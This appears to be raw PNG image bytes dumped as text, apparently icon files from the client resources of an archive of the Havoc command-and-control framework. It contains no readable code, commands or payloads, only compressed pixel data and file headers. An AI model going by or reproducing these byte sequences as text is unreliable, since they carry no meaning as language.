fC1cĢe+2Q}r1,商/+|vQNwtvb I2'P RպmfAfc_Ͼ"c-]Jn"E2$[wp}>Ț/VU2l`fsdal9VYՖѠeGLr,"11x.҅†A;5A&-q QYOLg_~dIG&np=XYM$L.({4s(Kl!I ajT ٱ"~=4Ev6fkZ Q8r1ȰY"(^jdsU_skָ>љ` Y cHX$ò9Ei%cc2w("kj1v{z,Pƃ22ٓ4YI'6Lz]F!ȊGlr SK[fא<EX$IM1\soN.'$tȰ☮ɲ$c%˲xe))_3,/ؐ&>ȦfsxPdtIM1p&(opR?XJ_Wd$;R'EX,[B>dH15ᐃ1> "EKR$ӄ<$>vE,w`jC-эBIk*W,R1z"3ey,"rL =e-nWl]Pd6d,dfB_ER >&n'=@~JA`,^QݎvTdc\HVc-%$R H4T\)iW )LLPѼ#AOypy@ .1;k dŲo-vv.XC-ϳ5K9Ҙigdϴ"[ @FIAJ29c.9HK45FlPdEi5ugqlVl11d쑡"s[+>4L6`M+Pae߱#DZa~dB~-ZYJ떲U1P ZZZzd0eAw< sHEnjvI*- ",Uc(f0+ Ω%I2ojjiiADZ$3Kr YV)P+- g I>Ev]55LըKȶyYRlO lȬTI5Ƨo!Đa膡 P2EgX,ʺv8=ATd"4 )Cya=E2"+?nEBl%4P,0q,Klɦy!.ןmjю)6]Ȁd$ YF(kjj8[__$ r<Y1wηduj8F&G;:DƂLdGfZLɛ̼lWp%ﰸ _)DR>Z0D`X?\MFK%lHP飅C%*fY "&v狿ǶXe٬'Y*1_0 cy!IVE #= 5; `l:K2哩RHVI Iƒ_5mHV$+$l鯕X]>u"^d[QeQd/e@ʊL{Hv4tЕ1?aC1Z[{{,#1ܱ]xҮ'ekC7op&9'f1Q6;H<⦗$dfY IVA$H(Q(((&̢0A677L2Rd G-NbM !&zN&aaͭB 3ZRj9n d@As˼*f&dM~CG9bf@1"z hI* ASg L691wjQX `HA&شv6dfN+O2O>Eƒld\/W>}'9Pu'җutTbaՕLrXaH.%2H-yja!-0*(?0+@'G!0hgh$VL4Eddqr,U EFTdUcZDFaeG^J2퇼"L.*sgޯwʄ&Z4SP,q(2aQvxn媷W>r$ 7!VtEFcap\0;ڇP7 VB̀GIE-\Xdr.Yt9<1\ϙ4 <¼ªBlJP :jłfu̢l,>`V($$hYLL(tMe9p vrjYac[)^ f(Ƹ|-ew"{0ɖ"[$;uHv|?o|ׇ4s̀gYC~$A8\}} FGH5664 !+VRJ@@SM=-pR-YLAҖdQWUA N;CK;V\'LgYE#Y/Rma@̔Tzi[γ\ԣZlfFYw7 .DZd\1Vd1d~a*P Q?& E&$aaq$ʉLLܽ{&⬏JwXTk|1͛z{žB3]A` F[(hQqb!!-]Ȭs 5Yf"g j&\nE;ɋXY f!ɦ+abYi% 2&M59I#Z x2!YpCZހkUjY,UC@-zmb),̜N bPd&lE@vD˗_oxp- Z_߯>v }`b$a4I,o3N*q2P ($Y j$eX90pXfB+2Kd4ύ,|q촩7SؒadBMrd-74i/V.+`rɒq2ed\t`~v<ΟvM0 ֆ:dXgA1a)yUa^LI@s /4ڲKURERi W(-@+~QҊ0 qzyώfdqVEBX~o0>0\S1-T5,LdH G1tz+Se]>^xd݂{yaL1o.XtY|PdVI$ɐdǏQvKH0f$.amڄBkThG\UjJ#HzdCXۯM/4P&afT8:G)J"Z*۸vR.]I֩DX/MZ\iEXL%0%wXVb\,+Z*V- $ 1<P` cfi8dhoZg/h'Mٗ%\r71iN澯"/L[$[$$%_y h] NW&2l'.lo+D184Fs )]9/S1*)jnm͖ ΚER!Z\//VVWZ^BMFx'㬶IƢ,.ۢžOdQYTM`O2sw$1_Qkbfa4TX1vQu-d~ ,&LP(r,U5,6#yΏ_yےJ Jo\d56U":rL)xIۦ.V[.\yAd_ Q,r>q`[[Bszȥ^^*h%=׼MѲQwx$kj61Ɛ8=r ex}/^ƻ l7>ԝiUo 3Jh3f<y,l$Y4EX"35ڕK?]C1fH[l~ c>%"k5?52a,KĀ]N,9"f3pQHx,s_*"Dn. |M@a~I,;uJ3_U݅ D1FX-"YOc 4:̘dyԂ*ܒ1P-@[x@#u^ 4 $iD%`މ#(hoMTK˳jf#S,rK'nME'ǶnhRK|+l &JA 12:247 w/A1=%0ݓ{AMyI3|~JXk#>yk, o2譀O&5}\`=vAƈx|HӣC;XY 羼 ct)/J1nj̒r 'EG %NSͣ>E)_SvΝd8iєXlfB ۉ +3AqGyxp{x{(G{a>K '#!Wy>n(Sa11696 1 ތo'ccý[A(r}>j ·"zÃ?68xFۍG27kx:-bGoH~Ə}نQg#$K'V Qb&8a@Ԙc81au'$58;ٱo0 e<dK}?n\ eW0q:~pPG}L837xuMHE<=ąk#OYrXq޽i |7+Cp9¿H3ߴ]{tDWTm ߌyOBzo}oP_o ipsr7IO6e07ÆFnlȆna[xO߄;4qɓ|wƹ{_5= ent7!_3i糉?{76qn_~p+WN>}(˗*ԩ~8N ^tnJzⓃ7yI_ 64d+ex ;I48wx߱t;ƈ0%/spy_pZ$;E5 9LݥF,fŴpO!i}9qs[|||py!/?H0P_ۀa*a ࡣwѮtGuutD@+p;;!#" dXo"q.(QuÁzK/ uЅ;t_E|}F=݌O9G&@j0PWۿډ,`ǿоj|w_Z?O+1'ϟS-aȫ6ba|<%чsy$ç;" Y#qQE 0i1ȱ1D ) ;H;HQ\9NG]x:KvH8ab'b!_'A*:܌ݥ /~ǟq\RF>zUy!p+cQ c~QXL/h&v~AmE ;j}}Kz|]$1pW&/-(;p $ 'x}Ú[ԁ̈OB}_7;VS{qwRm'<̙ `!DEI3I7C|7Zch4UBdr1QJx%_vdkSE1,& ٓ`'Ϟ% ;]{-+A^9ci 8Bva;Af&:?icWb ^dА,cy9urd뼞 0J[҅ n]^ts<%\Zͺ!pLŘ .4%e)d,̛OwL=&P3p% Jf[<\^1dsrVކӠ` @MF {r}WgE&*)j͛ʇ]g5!bPΌM[HH<`,3ӮXquu05 b˰UiJ2XԥTǑ0%<>Aڸ[>؋2-mG/e`n';+cKR䃇X GB>yzlnڍK7޼zX۟ZѥeYߓy2Q+%L&) *^$YreLWvJqnWAn^5f4 E j0jŚP sK>:r+'_=6Sʏr&QB:4ˋ$-V)[/<:ݲ>>䊜f| GD]KTS( z5FqWd K3%L.C+&^sR 4d]]:KpTYoх sѯ3I\0Itͫ7(A.Lp_Xarb;wpgA$K@(āTdЏc>J;$^6kБ% ʗuao=xqP 0$H@d;k&NW<~ +\'Ґyd+(E! ,wY]85# :% :Hb(A k2#F"S:1bY!ʿ]G k^X^(od?P敲B%/nJzwD,@g~,U2m2ȼ\EK6<|q&Dͤ7U [0#4uRxݤCNe@>Q~LOC8 ܔܔ%܀\pf cI†'A`SMKGD$1E%.d]?GOY{UKV2вb~߼;~C}r cYa\'!ᯔ -xO>x8l?.; O[2-ڒZ^L>CF+Ք+2$ P+ǝn.;z0|>v{t'1\UCB_ BS,@]5q+"_yֲ2r0%Y2I&ṱh92X76,dgɒ}~[Y2Zlnt%< JdȔI;6k#&+EJ5X3wqpN3>p|)m1_0M;NkV gAb\)GSI?COYJѪO輙gŠJ3Kb$bVueFʎRpy&I6Y3QA;=DKv),:^OבQ9cb.Y3:7*jϟ?z>Gg F ق9G]8$ϋ^\r:&ЕWL?q]y~챩V۟_pL+d BI\ے+ %hVF LY+W. %q3ӅIS|tǴjlKvE O3bs9<.OLF2"&lrrppk5kBiHгi .I'!BCWO1ch;tL1HErcPy!rܱX2\# b$WKGgSR;'eW,(Y .O?MKi~Γy&&:.dY^zYHؤQ_`BR?O˂nΎcu(y,޷:Fc̞ cʅ)|.c1%e~L~##V\.qQj%J -$R*,%/g}<鉝0&irU}F![5d{&G߅~tE9OcW6e?ҤK^L1JB8\,Y7^#ӝſ7L %;{<Ŗh.>\8 2613pffbl3ݓ 2VKbϞ%L𛰸Bqd2O35US G={ܶX>iZi +718Avlc dʏFBn)U 2O*f;=ad(d_t?4ClFq󕅌 LÇ55qQ1` mn%t?j\\! rd62/\>:-Xr-`G&!bG={Hnl:vG?M';WZac.ђ}q --!}áͫsmЁN'*>7B`k<.^Rozd1KvXϩ?=clIȌ#%'!AreeR`Ly02a@Jxfg(caqY4el?$ag ld2Kvd_+wUlxnbu0;5#IaBb5;R6>~ά &TrK~7BvzY3h0|CH%^p{N j7&-{L{v1ΑI> Du&mmN yqUv7Ĥ<). $:q,?#"ٯdx )'ͣ׿^\yo/{`/y2Ӂ'fb,Lm2=; `a&L0bvG<ؽti_AJ#H0-_I ʻ<~]{,ny.r^M8GF}$%:+szr+eVK"|0e4Ƥ~A(0)n_`Yƥ^_%fyc~%!,ى'>ԬyK#s,Tj"d q`V3q~F3yJ&ϕ7=vGT4HZ(jyGvLDJź8GF}L-< KDZp).χ*NnBV=٤eZ'ALKS>׆.]#@Lz2XCEliY3̱d&۟OKّN2U$֛׳/ˑ7.Ó;/,q h+=d{FsHQsra.i0 c^(؜b2VˎÆ~VcD Ȉσ"ݒI%֩/N,م;LQ&fH,mQS\|N[ r_r[ʄ'yw>GydҒ}%{Ʉ%;e,tF!S-1L+ͻ:=Ev ^mn=G{7\ps֖gi}GƥÞ"67?8?7)dtc2?OO>_ǫ;2"\iVdv>|ճvHy⅑EUGYt?9l}z]MJͯ$!?HГK67^{ES f:I7K.d$,k~OIM\FH`'A&MX92m0l6η%LQa„MpA9;'er ʕŠA3y}:ȈσƵdx휂 zsrѴ*4>(Zp /hp@Ka$ E쌸J&,شOXX+dɰߚ9K+dj*>z^hDZvA gKuW쏍a 3YPNC]9U w] 8rtԲaBG;&h~VB`ݧ<2I`%]c%)s x"&7$[pFZ/:7 ?& Ʉزӧzza=`̗zuӠpw ,]v̖3#4ᔲ]($9ޏNcrr|-bb/$XNYc]ͪ$^'<2"`0d]$ersdtmj.f\eY/'|vWΐ|)-OF,`_C׶%;qֱd-e_F'-W([FmǍYF/I G#>Laj Vn tu$a sFh% Rw vV 7n/P_}u+\W-"n/dt ,_/ln3K6LY_uJ\ZLz۷w<*WZf^ȒR}~\{\/cRN~˔*JK7DqVJ./}}iOwNO\;,ɬ.ΑZFeex.M,гwvc$ [:zU_8~eH%Uqc]T[[/sdD,AH,OvJ*2q;s P.1B*@"^v ;%%k-JB&_nbl'4`.+,MG|dRn}ʴ7;+ lKA]4] .ݡx;Z(ͰrЅ+18GF}CN:*'1Cs9+XBK(, *|i?"W=)>e)=Y2!d;k&6HKVsاpkǭrdG+SZ&m퓐jytlXD_;o;6*1$ FWp114@d҈ ibǖRǎJO1#BRzF e.Qs,iIQJvBIٗɄ% ;/ oԋBfFŪ%'-m&)\%L'Hn1RL"H _kkZ [-Sճ1~Α)>iؗeN iq~W2˔t:{2_(_'Nyۧ`ug{* \Ř]ꫛ.]7H9}bz)]s-=G6ϒ-"d[Y2vy'GMie`I>],u+s!-9GͰJ)[T~]Z'?p+.ӴLc045KQ1~{J#z:0: ʎ \vYOE>_;2"e=9G!s$K?YTKF7ҮI{L~Jrrܘ\Qiƌu#j&la%;V])SSLJ5T>,W򈗖'JS1d)#!2h̖,*\P\V_)Y: %4aXLIʚaE(eo0l{囡j c]$`]jZR'ژw:?bu+"<ْ,B9do/dr_5a+g:vڵIh𛀁J94U/@t pP~=)2a3܇,os|e>R޲zïA@7*+DOJV;͟47_|8߀&`8 %ńWUwmx*fsqs!ě<҇xSOwp;n?L瞼GCsqyqEEn2䍺{ ǎ  w[ԙC=8&}HMXG090007:;蜞R60F/ke$vw;cu+ {nuew]y }>'inqs =ď >:}9w9Z޽ aO8w.u.Z8G#z]p897߼Oqlo[ܷbhj|ddl@˅^me >Uϩ~<$NLjsvN=P}y$N$ݏx78;P֤*qDR.z䊴K^Oꛜ,la%'TCxԬGIy/K,`Io_ !}##%.}Ccdȓ 8LoRy2x"w%#+[FOm tR+Y2擼)HZRm'x"JZ2aq#lOH|k "'Kdp/Xj&hĪ'j WQ9Z֝2Z#Kcdc’MŖ K6%ґ)?8d[ ̓aWerey+!Ҕ;w$?ZIJPt4*U4JP(a iRd.,irbb.,dDa⮒$'ׂ7V봺"_bd&pce{8V.=%V+Lba*7Y<ZɤȤ+"SiGnKYDH^˖"X?SŠ)΄e_kS2"(qPn[,I-r@d(a ;Ԟ :@K&lY\' iʔ2J$ޥڕTzH~[Xe[-SB!d’tɒ#[Pbۑv?td \3;I[eGN^bȈ!7b" o)ܘRw>'u7`OItGUwb˙=HnY%U]d>ɔytY6a(Jk%cVr_aJla̿] 2bKn95Th;:U{%UL$M=˚*N7IMy"USgŴ]0=3>ΑaPLiw'!&$VkjstPe O#$04̩[ƖlpjU -%:JyiM+]j=g!AcI㋩Z\j 8W1KyF+jһϻS*~ҥsթ[_n鿲K E-j%,[gL¥dNj .74g]ڝv`zqd̫C/",dD!KӇ0XH K4}.ܸƙ9]Q*Ve{AKkIK-\qd9J jiof*|halz2%fU?'Fe.BKʔv>O˧T~% drťp٫ _d~:03rnC'f?91d^~*fpC0ԊK擔V⼈"ז9&CZю,YV2"=8(e5QXAQ6svnjM4 lHYmF10c߾^2{%Zg%q5j'YZ@ޥؔ yXi!PtX}בȗ: 纖]Uu-K8CYm҆س͊K#(yyR},Gg ?9q2,XȈR<"*)2ȘLۦu%GLs$YOj賒dT؊̭dhX2ے2D^ *<#S뉌ؑ2h<,8VrN¹ȓq; qYbpdvS-lb,8Ifͼc -1IҌx23XGcehr"4kʹǾI?B[!K(*tkK-eeJ:::iQے͝oLc/gX:má%yXul4ckҺ8U'=cH$~%ִA?P:@KNw/z϶9˫e3Rp[-)3'xMBF}H0+Ms0Jw⚦+I&ZuKL d~c O)wx^yYϹ߳'$%V[EvdDaHʗ_rFwWa汥 YځdڂiJdt7罗zv͓ga>-6dޓa!#>K&cVxh<}y]Lm_XsUJ$˸L {Ɇ%󛁱Ɩ2<;2ms-;0VZ,uXȈ2Rɼ90'Y;82Jt/,Y߂3ݟAa%s&Z .U/U\ %3olz\Azt:GF}(=2f]NJY̻ ZINllb(J,_:r+%d9vbEcc_ ":'>º,WKtb>Fj-tIA)V2l%-0'WpR29,pj%3-? d%JON['qNJ[0YDXlXȈrBZ.qh6nFN.I7ctPƖ0dLK[M^RВ<,}[ɔ,12 HgZɔ%uLB.Xǥa%ђe鳐<䀲\|]ewd͛ԜX;KꖃY-1K6>6)KyW\ K02<%]6|R.%êK0d }t[faSL,B~8,ҽ <6-27H-ǻSicG K> .G|v!Jn/Y"iFm<䃕~=l&KG'[N%UeR 5c0mZ9n n\]+ %c 'C$p;0h .%C4gJ[2*\^7,۝d,dk-C4%efFRu.~rdZLI}C>30Tl;򚶌+Qó꒺ɺeligdn%<(Bm:J&dnK.SLk2"9n2r) @? bQlX2cA`ې$Vݒ=ZCK"5VFN[Rh,\oQ*~geiOnY##>kR(f(d$V6'SRL%; y C.L'6i2P^dn93Y$diY2hl?l7SؓUXȈC]&9V`Z8>n +ǥ%u[g3Ypy ]GO7ґ/:'V[%)Y>[Q8O}[0,2T2eGȒT>JiCK%vá%y$qJ;-:I/[bl Ijmz]ݔQ>ck2"I&}z᠓_2IYȠ  JzbozCK"M%K(6iK6H%&2r|B-MHR%f-˒ vo~vv,##>ŝk^Y{Bj&~d3[ОVisb#[|bi`!#>޵7ixڮ,- UJSc˖8l,pPg*YjyыG;elˢ y(耜%)k5-g{ɑ ̋r^8lIsG4uKl92)cG|`)$GF}2ߛ%Sd::V2ZNKZJ7cXʢ'CDq떪%URF-!I66]QǜuK{n|Q){IY,RphI}>VW, BKiɆ2ooiw;e.[)Oq *jŷى<I4`/>szbܞx=̲dV'ɢJFٱ2M*=LphI}J֎%5'=MʒcCƖnJNo$[3OcJ8Q!ؑab_ғ!=:?I̛©r<-Senr6 ]g1Le#cRXȢ y(*s<|ВBd9KI2Iّ0w73&VϻN[l.ْE2"UeK%$엽ScӋЀ1*gKUt[f,̏YJƞ,"py(ddg,l?4` O&w\%-GlE-qGoRJ\ENab1I$Y2P2!8RltT%-;hdd,aeR%%Ȍ,-CT2Ճ.Ud#jJbBbx6-,)d%,dD!4wxd$+_$K֡\ 8۬LXdpdO-UDŽqp 8$>n#.2̒%MSl,h$drhz~8 pd}qj8`![!4YT`GF}"L-SJ%,Nd0ۿؒ~dYFC%c,dD!8s|[&2% -g#ve#٢eKkqP2V5J.@˖gؒE2"QT;lvdk %d(d퇉hɌՖ n HIY2?!Z2ȈCD۝drF l虅u crP"nQd92YĻ@[!c!'>Qi$S94G-z:E ddL5Zrd23dGhҪ?В"6Y.7ՏJxw,\ؑafW-S“rˁ,>J6:e+4G?!\^W%d)Y,\XȈCTѡeBű,$`%Edr|d~DĖG:2JYe.BEݒ,\XȈCD{ʖ)՛j֍MzbˑlN2̮Z&R@G.,!}dD!md%n@ 3L%G6/Ӌwz#$òǑ}-mG"1JV fCK"Q>2Ԥ#;bH,[f;:& G&|;jkfّopsBF} undUL`J Оp0_V"GI1{!#[4GdBK&T8$>㓠Xtd%J4 -l_|F,)<82,gIRsd vdD!8z{IY~lSŖY#J d!S̴Y #[*,dD!xQ pdXA5l"[!$$G Z&fMM1ّ;,dD!UKӕXkG[[#JuL !GG)Oka`lbp>2"Q^Kf&zrd}U#:#‘A-gQרc8 ηbPd?y(~zLyQUɠ-I:ёFY%L2"7GBVphI}Ilqd02d0FA -ǧƲZEJ##c=jEmGPK-#bbёlsdZFJ :bgQqۑH -C4ۇ2#Tev-!?92rdʑuNNEY vdD!}ɔ'%Blz8L$92" Өk"+|XȈC$upnki5 r|jẅ9>#$c#3VcWȖmxc(BF}"7d"EcM[4d}d&pd ~o֌#q38UE,nQD Gj$KYڎtLƖ,i J˸QV,3KƻZF-Cn̈;bjhȑ#[d$d5Ȧ#Ǣ%1]L2eMW YD`GF}c${\cȔ#A![| (Πk(%2'E2"=t!r!)cr6dB&2Ͽh@C6aATR-GF,Yɰ, aB r(/3d T\peёeZ6^1$ |ud.jvOX{a#aa!K[,re"j@8ɑ ̐g:ׯ3Z%U.9A8O}8)q kF!-9LeKXd)K2dr2dݦhG_IKdXT,q2raha=‡4l^/.kjFvbb쳠4 W˦~ː]dZƑJJ`XȢ y~#1O+ƻedЏ]4]dSkLd( 9‡/L;lV ,M̾=29{%Aca: EaD=V,sc'ĢONhY[Il˲LYhV'eZzpuJCL|6dnRΆ]BSFXƢMNxYD40>Y:{ٰX0v2dvW6dRva?7L$dMEֽLD0Rfvt]GԾ#3|uC29R2d7B2IȚ֟;E0$C-dRz@I*g%rjBURYZ=dY2ksȚV[|%,ɏŽ~Ln:̐ӶүVY ŕ0 u**#%@Ef-B q&^F2 4LG[ ?RΏ%^ȅ%1EL*GG䍽{9\ord g2d w˱i ,2ȲǪX 6dkTNBvloc7}. x<-/WZM+lc$c#j; ?.ZqkbC&7\.kƛJ :F3/ R`ٯ B 2CnQ\^hW-ڑGGFK*woo¥*/tO'zYc KE]]cK #licK끬龠Xo?:2X΃!ʠcۿ ! ?K= clrJS\5K Ɩ,q5|쑱'=C&,2ǎdX`SS:YeMrwNb\kMME6Vz #sw?Yz1+ulq?+,Ʀ`Q 1ב ^xqeqfXoWG0N4g_͓ E/P@cG24!c2J/Mb<䶣eSKQ Lz,cKd8Y`~lDF}jN'vlB 9^|X\2ȒqwvȺM+ ,ɘJMRЧ qdj8 L?#9CVgɲt_<:6 {/#+XIՐ9;L#K! Y 0l~a١,I|ɑiC&dCG7~Jh3)nې٭ 2-hȄmizC7Qd"EC~lDǦfHj!D=d ,YI%%|!\w1Ȅ{t$Cd5#ҏQh :HRrʐ$1^qμd$蝕,)A66Tў`) ٤ΐz Zĉ~FKE!S4TBk }!GK62>v"2 ;%Xא,aߙ!DZ-E # +eqLLuPU,G"؏w~d#ҏ蛴/9d\d<X~XtlJDpE'H^mƟ?8VuM ;@V,Md\d|ɱxKAYsɶ|,2dP|B+-e #KaȦ+2XGf(~f^WJ۳]/ΆuuV,%ʑaK:EsF32ǠBY ^!o$TR&C:Y:4o4٢CRdD#k‘M T FSc!i2&ʥX[a-Kx2bX+`3G3^wLML! OlA29 aScE SĶTŞ,%4B#z4`?NLN=@G'j#s%1Hq? cɰUAcm=6925lH` ,!EF5˿|Jd2s͒H kZ[qd|b',2ۑ͏LW-!C&l2d#ڴ_,t/X81WT 7ֶ`,C Y5XuNQLȰkj#+Sd:Lpce+"/XZĶa_qF&Sda!!"#Z^jŸ=[kǏͱZ],Ū`x@ :Sق Op!rh^+1ElP$_9؍̚}eˑLB q6,)2 ,cuM{FҦ9=lǑ)KV-LJbKX4LĖ0QR#2al͓Su1d(_:v(W*r0Ɩ’a=Y6JKCX2-}̡-uK~&GCHlp(rdZAa e(Kd Bȶd7;3 Z2$ KL]UŒNZ0 גm W̝dGK+J92d/cmkQGЀ9cƃdBȴ%l6!d"O~o.RTW~[蘰d )D`71LAB&LoذQXM2KF]7̜KOd lCmJ菺; j>e äLY [nٱmdB~7[v ^Gt%j[6v,Ye}# *Yʒm٦Kde{Go?_ %{u2JC/G 0L!-YzXqJMPfLDY7+*ܰᥖNjb4T@)<%+K7 Okd7˃MY;v:2;Rбbc7`0LAl=l QL7 פZZ럚&"/a d’A_X2L%JP_ % ^ /%B&l&_~آ/aF'atʔ'{dc ZM d@5*an)ُ)܁lcm۞ʧE"aD=7`0La"E`@U KlȓQvƗXUY4%KRĖa/ad\n Ʉ [#r :2|Q4a%0P ~Y2aʴ'͓ KO~ګ’ %˻TJ*V, 0>a `+X2&SJF׿ jo{@lB{V C&$,4`%cBD7Rfe|)7Ax ~62m;RD*p,v7Y2˓aLo Q)Iw+ر7V7V>=/a oLe7i%{qZ'ɤ#򖗿߶R:ȏ!<a LF6'NhoxdGpd’mji؂'`0L,y%*t >ӧOw* G /^^p,YG*y.Nr*QK!I2pd#"lWӆǏ?=P()x2%-۸1 xr[N d‘ Juk[nc$bO`BVKL+ϥ'k)ý#{˯46aRoW؋/~{/182.K؍K_yvrd^GVB{:,"9 H^Jٕ1H: /pYQnqP~<f7=2ȶV}O'A#/hؾ'`(2)U /7&mD~ocǶ-mMO~(vT}':e`ȾKZ"2(5y^5ڌ/G!c0dZ>_4q%0edlʘd%)saMITV[#+m#+2 7`P|QB vRuy8͟!SwBDd) ٖ>~ hYʓgxLO0i(!+dNxz7i${?}S۶T6=}w(_Lj0&"xMw,^wt ٶm[_۾RExd<a"(aLJُey;L$+b|G5Nٲx  ONG0C(ٛH 4d;UQ7lqϫ   JM2i(QV!QZ/ؽ&,29 :/Ʀ7؆Kvc[^ٵNjPÐVn`hd%=Id_&)}0mzq\-' <a"R293/R$ G60Be< <a"cJmJHDx)l={Z<aDc4 )ۢ<(? '_~Բ"Kd{xDW[K /Qnog˖OC %S̘2T3qlk?غ &_5"҂0&Z؝z52֭[7Vo}\)0QIZi/oڶG,bC0&rR\ɕ2|a/0&r<ٺl;SF yiSYRPY'`0L(u2ev_%Q Ȋޑ $nk[n7ƶ:nt.L i )[?Xq܀0]DnmU7֫XQ1 O`HRa@xY_]ɆVj(2O`.S1JVwy3  *iͱjF 5[]s/)  YR d"Ts[,|-ߒ ,F֭"L dC)"$d<a" I/-b-mMb$e/h9Ŗ܀0ƸRWbՍM|dxD˕Ye/Ȳ."~`%O`#Z5mm#. : 8֭lڦ+Vzv'`0L䑎Nmlid._cdyDiʔ7k.U7-LK% 0G;2qWms#cr[r ژAE´dr2n`b속96` )*DdYg""cO`voTKݒ'`0L\) a4Ql1/ ^IDATx0XKkT0!b-,Z a ͱQԱ'`0LQQȒ'`0 (-Q'`0 @E$#˃O7`0Lqh0A| aXucT#\0s Q|yx>0yv="b;K[2Lki:]G7`0L-~ jy8DXKkcޒa2HGڑ<&ꔖD\r~DP<133 v IuΚK7Zoʴ<`=:doyQOj@%2S\_>IzCMVia,Lр?AUpH$F]U:FZ͏>>mn.v&zIENDB`havoc-0.6~git20240910.69ce17c/client/data/resources/win10-8-icon.png000066400000000000000000000431261467014221700242350ustar00rootroot00000000000000PNG  IHDR =PLTEGpLڼÏVXXUXXVYY|{y@AA@BBABB_aaMOOacaKNNVYYTWW@BB@BBKNNŽ­JMM@BBLOOVYY@BBRUUUXXVYYVYYPVZ@BBPSS–»®HIIƿƒVYY=@BB@IUcE/LwgjiB6AO=>#@j0a9hڸ> E¼@4eACC GRVQTTJOQP?nGJJ~My陲؋Υ_#XqqoNfnDGGA*]LU`vRX\FGs៞?Rl1Mv(K~6NrՈуϖ>;BI*Bc6g@v2CYK>?LXgX[[sspzzxF4DGwtRNSȿY꿪ٙ3 [:&' ^={p=&ܜ5I-߭SorM?SaC͙}Xp IDATx Uՙ VQIdpB'҆尢/k&+IգS|tLW0(;b  ^=baF@Dlcw{(sWݽVm?}Hw2n=/}w 7Fu]#ǍҾc2Y/ٱ}]72| 2۷}Ԭ$fAƍۥK%%k:;{6  ?n&M{o9Ru-R"،[#WSe~?\^r{ÍU˸d^k_*Z,RAʂY17=H$JJ=w5 2fOZmٟKMxWz[Ʈ"ٍ5}^܊^^ W,K%ݗ5ؠd Kl )]GvR17edؑ׷WJŀ[^aF*l˂]Y_\/("M7ח}_n=w@J?VmIYΕ%:wțVחDؑ_]!M7xؒD,,ʫ9de'1.nғd#ꯑ1 K,+ٽ7̹ˎ%]ۗYeY.'Kv .+eD)ؓt]]:Ky\9Z.+g?Zoad9'Ktuf>KgO?dc#aN~'>(Yn'Kvq{ R?ޓJkt VˢNƆ{q]Jb%K$ۏ|c@6dQCj}J\//LcO&%+%cd?bȂ]ƪt rC']yOV~$< d0}XH@_2x@䛾>.Ɏ] sNw /X~zr?’~xr)[q|rK?t8(XW: 7h˱DI{xb xD%lJ\gyǒYw&_]K@_,h%FrF?].Qe$gK]Kotf&_cf YXqAl%V=15t vI{cnczA۟tsbuu`XKot{^z=Du}Ivgn]cB߅g00ui?>?|g?1v$t0ƺ1qS YH$Y~sϵLZ#1>!A_i?pN>}tBvMcoZԩ{,S6؜{״vdǏHN=vgg;̎z1k_ڑ9uϼx @'g>{2-wc!?z2So={Oki '?y.\So}rTiGcUuir9_DɮcFȎ:IYrWdcFȞ>S)+ aGo=z?4Bvȩu[dcL=3t ptn1Cvٷ\!?Ɩu#2=B8w5! < B}u ޅ+! iBuc LhB8G!|Ǝ,-zȞ%d{L2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2kL2dTiYYŊʙk\,و B,*/-XrՒmvr?S6"d!KU 9k>w'fL/u3e#B&F*؄VT^f6O"dJL2d3g\F[8}SΟ?O/G!cï:qug[X5#dJL2 6Ukvgr)/A!CʂUϝ+€/E!CȽH;0gҹ\9`. dv֝hѾK/kٗ"dT*=Q5;ϟw! 6 jc֝6(X`. d0."(ؚ}fA͎25B&I9kM ;/3sWNVBf! VTV غ4"duD!Dr> צ*fLVBf!  ;++__K}"D!C}#a+V-u~B9`g# Y2APq aՇWmܵܙ.IL B:(>|b.9"l΢KwOov>! BDkyيD7g/L]! *AN,y-]R9&]! *yaם\}ŋ]SL B 'fZ})3V~)2%B&YnKة,'_ݽ2z{Y. deT*Uqx]onL Y. dt{oW<|kd{ow !L2aV0.O7x!L !K+^O'mOr!,RU3gXquzuʩSOw!!LLHaϒg\T5r\#d BfUUUz}swK2k,2A( gZglEmךB&Y遊bW-9vntf!L2*e s.ڷTXEr!̨]aKWf\@!3jzPa!L2ui!L2EL Bf!)2AȌ"d2%B&Q"BD!3YDȔ dF2!(Bf!S"dE,"dJL2EL Bf!)2AȌ"d2%B&Q"BD!3YDȔ dF2!(Bf!S"dE,"dJL2EL Bf!)2AȌ"d2%B&Q"BD!3YDȔ dF2!(Bf!S"dE,"dJL2EL Bf!)2AȌ"d2%B&Q"BD!3YDȔ dF2!(Bf!S"dE,"dJL2EL Bf!)2AȌ"d2%B&Q"BD!3YDȔ dF2!(Bf!S"dE,"dJL2EL Bf!)2AȌ"d2%B&Q"BD!3YDȔ dF2!(Bf!S"dE,"dJL2EL Bf!)2AȌ"d2%B&Q"BD!3YDȔ dF2!(Bf!S"dE,"dJL2EL Bf!)2AȌ"d2%B&Q"BD!3YDȔ dF2!(Bf!S"dE,"dJL2EL Bf!)2AȌ"d2%B&Q"BD!3YDȔ dF2!(Bf!S"dE,"dJL2EL Bf!)2AȌ"d2%B&Q"BD!3YDȔ dF2!(Bf!S"dE,"dJL2EL Bf!)2AȌ"d2%B&Q"BD!3YDȔ dF2!(Bf!S"dE,"dJL2EL Bf!)2AȌ"d2%B&Q"BD!3YDȔ dF2!(Bf!S"dE,"dJL2EL Bf!)2AȌ"d2%B&Q"BD!3YDȔ dF2!(Bf!S"dE,"dJL2EL Bf!)2AȌ"d2%B&Q"BD!3YDȔ dF2!(Bf!S"dE,"dJL2Ll>d+gbVn߾/ L Bf~^oEi_U^/vuhגUnL2ߠ?VܘvXNz]ʊ2J/*sٍ BfT } Kֿ:SL"d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#d^#df-Yc#SU+]Q"喓5vL2l_~ݵGX;gCDǪ.?zͱ\oͪfܬjv#db<5 ?Qv0crmsj9V dŗ\婻2B&Q"EI Bf!)2AȌ"d2%B&Q"BD!3YDȔ dF2!(Bf!S"dE,"dJL2EL Bf!)2AȌ"d2%B&Q"BD!3YDȔ dF2!(Bf!S"dE,"dJL2EL Bf!)2AȌ"d2%B&Q"BD!3YDȔ dF2!(Bf!S"dE,"dJL2EL Bf!)2AȌ"d2%B&Q"BD!3YDȔ dF2!(Bf!S"dE,"dJL2EL Bf!)2AȌ"d2%B&Q"BD!3YDȔ dF2!(Bf!S"dE,"dJL2EL 